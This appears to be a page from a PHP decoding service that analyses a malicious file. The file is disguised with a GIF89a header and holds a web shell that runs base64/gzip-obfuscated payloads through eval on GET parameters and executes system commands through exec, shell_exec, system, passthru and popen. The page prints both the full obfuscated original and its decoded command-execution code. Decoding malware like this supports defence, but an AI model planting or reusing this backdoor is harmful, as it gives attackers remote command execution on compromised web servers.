Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
GIF89a????????!?????,???????D?;?<?php @error_reporting(0); @set_time_limit(0); $lol = $_G..
Decoded Output download
v0pCr3w<br>sys:Linux localhost 2.4.21-0.13mdk #1 Fri Mar 14 15:08:06 EST 2003 i686<br>echo "v0pCr3w<br>";
echo "sys:".php_uname()."<br>";
$cmd="echo nob0dyCr3w";
$eseguicmd=ex($cmd);
echo $eseguicmd;
function ex($cfe){
$res = '';
if (!empty($cfe)){
if(function_exists('exec')){
@exec($cfe,$res);
$res = join("
",$res);
}
elseif(function_exists('shell_exec')){
$res = @shell_exec($cfe);
}
elseif(function_exists('system')){
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(function_exists('passthru')){
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(@is_resource($f = @popen($cfe,"r"))){
$res = "";
while(!@feof($f)) { $res .= @fread($f,1024); }
@pclose($f);
}}
return $res;
}
Did this file decode correctly?
Original Code
GIF89a????????!?????,???????D?;?<?php
@error_reporting(0); @set_time_limit(0); $lol = $_GET['lol']; $osc = $_GET['osc'];
if (isset($lol)) { eval(gzinflate(base64_decode('pZJda8IwFIbvB/sPMQhNQMR9XM05Cvsbg1DTE5vRJiEnnRbxvy9Jre5C8GJ35f143kMoyMYS+rNyn/5l/771H3T9+ABZxAHf6NI1TvSm6oDxJZ0Cc9nVG5pjxm5X9ZDa2QCEXa+TDQeWYnziXa2oqN7IoK0hOaWAH2PXA5INKYroa0XYDDoXhtFOvlZsqgk4aAzICjiALLJbps8cXiRQmj0Dv602jH4ZejFO8aQW4RYQG2hbccWeGeVVHw+6QxkwQHc+zG4FhsoHlkrlaF0gEz+GdhCEtCaAiYicjSKYWsgWKsPuTLoKMTS+vzk6mf+eLTWKWLW9l8DmKiGcdWDGh6ee8r+vRtMvsW90C2xWKrAqVjgnR5L9ZSwrD1Ud1cXT6vmVr8kpHStbi4mep6PiIfTe5FJSfgE='))); die; }
elseif (isset($osc)) { eval(gzinflate(base64_decode('pZHNasMwEITvhb6DYgyWIZS2lF5CwA9SEI48ilUcyWhlmhDy7l3J+ekhkENPEjM73w5SqXfdetMSPj9UB+07yNKTrlfPTyUI28mmAexlyWdSoXsvbhYrZnI6Wu9EnjKoj5wNILEWVcW+NUIusBvjYbaTb428xBT2liLJCnvoKrtNuubhZQLlMjPw21sniy9XXI0TVxoI94DUYxjUDXtmNDd9LvSAcqCI3bmY3yiKbYgyhZrZukIufB7aIirtXYRjRJ5lEa5TekDr5IOVY0sU+zDdXXox/722saQ46qeg+dNNQox+hJsfvghF/ffVioLDP70dIBeNgTccqWtxFNl/4bAJaDtWl2+v7x/1SpxSWT14SvS8mpWAOAWXQ0n5BQ=='))); }
else { eval(gzinflate(base64_decode('bZFNa4QwEIbvgv8hBCErtLX0apQe2kKh0IK9iYSo427AGNFkaVn2vzdRt4uyQy6ZeeadL9HsxDiC3gXs6zP7zklmSik0KcLw5HvIWtCIFmoxoARhHKPFKfmP81sneXqcjMS+twTNCIOLso5LhwTs7f3jNcuJkHwPpMiJC5Ai3vJa9jdx62erFNGg/75va4chWgaYSvBS1U56GeZh3WN8JZ+lOgIzfat4DTVzyG7V4N0sFk45vgfVQWFaQadhSGmZvqjOjpykmy3QqExptGDY5p6nB+0Ip1mE+B5t1CCRBH1QdYLdPTDilRaqSzBG0FX6t4cES9Nq0fNBR46/r7nmOKWi641GM+HKYuTqJnjayyY+H/lCXH5H3prr17br5FN31/Mf'))); }
?>
Function Calls
ex | 1 |
gzinflate | 1 |
php_uname | 1 |
base64_decode | 1 |
set_time_limit | 1 |
error_reporting | 1 |
Stats
MD5 | b69cdbb6a4228f0f5bedbbe80c86f116 |
Eval Count | 1 |
Decode Time | 185 ms |